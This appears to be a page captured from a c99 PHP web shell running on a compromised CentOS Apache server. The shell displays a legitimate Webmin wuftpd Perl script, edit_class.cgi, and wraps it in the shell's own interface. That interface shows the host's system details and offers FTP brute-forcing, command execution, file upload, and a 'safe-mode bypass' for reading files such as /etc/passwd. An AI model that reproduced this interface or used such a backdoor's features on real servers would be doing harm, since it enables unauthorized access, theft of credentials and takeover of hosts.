!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/wuftpd/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     edit_class.cgi (2.77 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# edit_class.cgi
# Display a list of user classes for editing

require './wuftpd-lib.pl';
&ui_print_header(undef, $text{'class_title'}, "", "class");
$conf = &get_ftpaccess();

print "<form action=save_class.cgi>\n";
print "<table border width=100%>\n";
print "<tr $tb> <td><b>$text{'class_header'}</b></td> </tr>\n";
print "<tr $cb> <td><table width=100%>\n";

@class = ( &find_value("class", $conf), [ ] );
print "<tr> <td valign=top><b>$text{'class_class'}</b></td>\n";
print "<td colspan=3><table border width=100%>\n";
print "<tr $tb> <td><b>$text{'class_name'}</b></td> ",
      "<td><b>$text{'class_types'}</b></td> ",
      "<td><b>$text{'class_addrs'}</b></td> </tr>\n";
$i = 0;
foreach $c (@class) {
    print "<tr $cb>\n";
    print "<td><input name=class_$i size=10 value='$c->[0]'></td>\n";
    local %types;
    map { $types{$_}++ } split(/,/, $c->[1]);
    printf "<td><input type=checkbox name=types_$i value=real %s> %s\n",
        $types{'real'} ? 'checked' : '', $text{'class_real'};
    printf "<input type=checkbox name=types_$i value=anonymous %s> %s\n",
        $types{'anonymous'} ? 'checked' : '', $text{'class_anonymous'};
    printf "<input type=checkbox name=types_$i value=guest %s> %s</td>\n",
        $types{'guest'} ? 'checked' : '', $text{'class_guest'};
    printf "<td><input name=addrs_$i size=30 value='%s'></td>\n",
        join(" ", @$c[2..@$c-1]);
    print "</tr>\n";
    $i++;
    }
print "</table></td> </tr>\n";

print "<tr> <td colspan=4><hr></td> </tr>\n";
foreach $g ('guestuser', 'guestgroup', 'realuser', 'realgroup') {
    print "<tr> <td><b>",$text{"class_$g"},"</b></td> <td colspan=3>\n";
    printf "<input name=%s size=50 value='%s'> %s</td> </tr>\n",
        $g, &join_all($g, $conf),
        $g =~ /user$/ ? &user_chooser_button($g, 1)
                  : &group_chooser_button($g, 1);
    }

print "<tr> <td colspan=4><hr></td> </tr>\n";
print "<tr> <td><b>",&text('class_ftpusers', "<tt>$config{'ftpusers'}</tt>"),
      "</b></td> <td colspan=3>\n";
open(FTPUSERS, $config{'ftpusers'});
while(<FTPUSERS>) {
    s/\r|\n//g;
    s/#.*$//;
    push(@ftpusers, $_) if (/\S/);
    }
close(FTPUSERS);
printf "<input name=ftpusers size=40 value='%s'> %s</td> </tr>\n",
    join(" ", @ftpusers), &user_chooser_button('ftpusers', 1);
foreach $g ('deny-uid', 'deny-gid', 'allow-uid', 'allow-gid') {
    ($fg = $g) =~ s/-/_/g;
    print "<tr> <td><b>",$text{"class_$fg"},"</b></td> <td colspan=3>\n";
    printf "<input name=%s size=40 value='%s'> %s</td> </tr>\n",
        $fg, &join_all($g, $conf),
        $g =~ /uid$/ ? &user_chooser_button($fg, 1)
                 : &group_chooser_button($fg, 1);
    }

print "</table></td></tr></table>\n";
print "<input type=submit value=\"$text{'save'}\"></form>\n";

&ui_print_footer("", $text{'index_return'});

# join_all(name, &config)
sub join_all
{
local (@rv, $v);
foreach $v (&find_value($_[0], $_[1])) {
    push(@rv, @$v);
    }
return join(" ", @rv);
}


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0123 ]--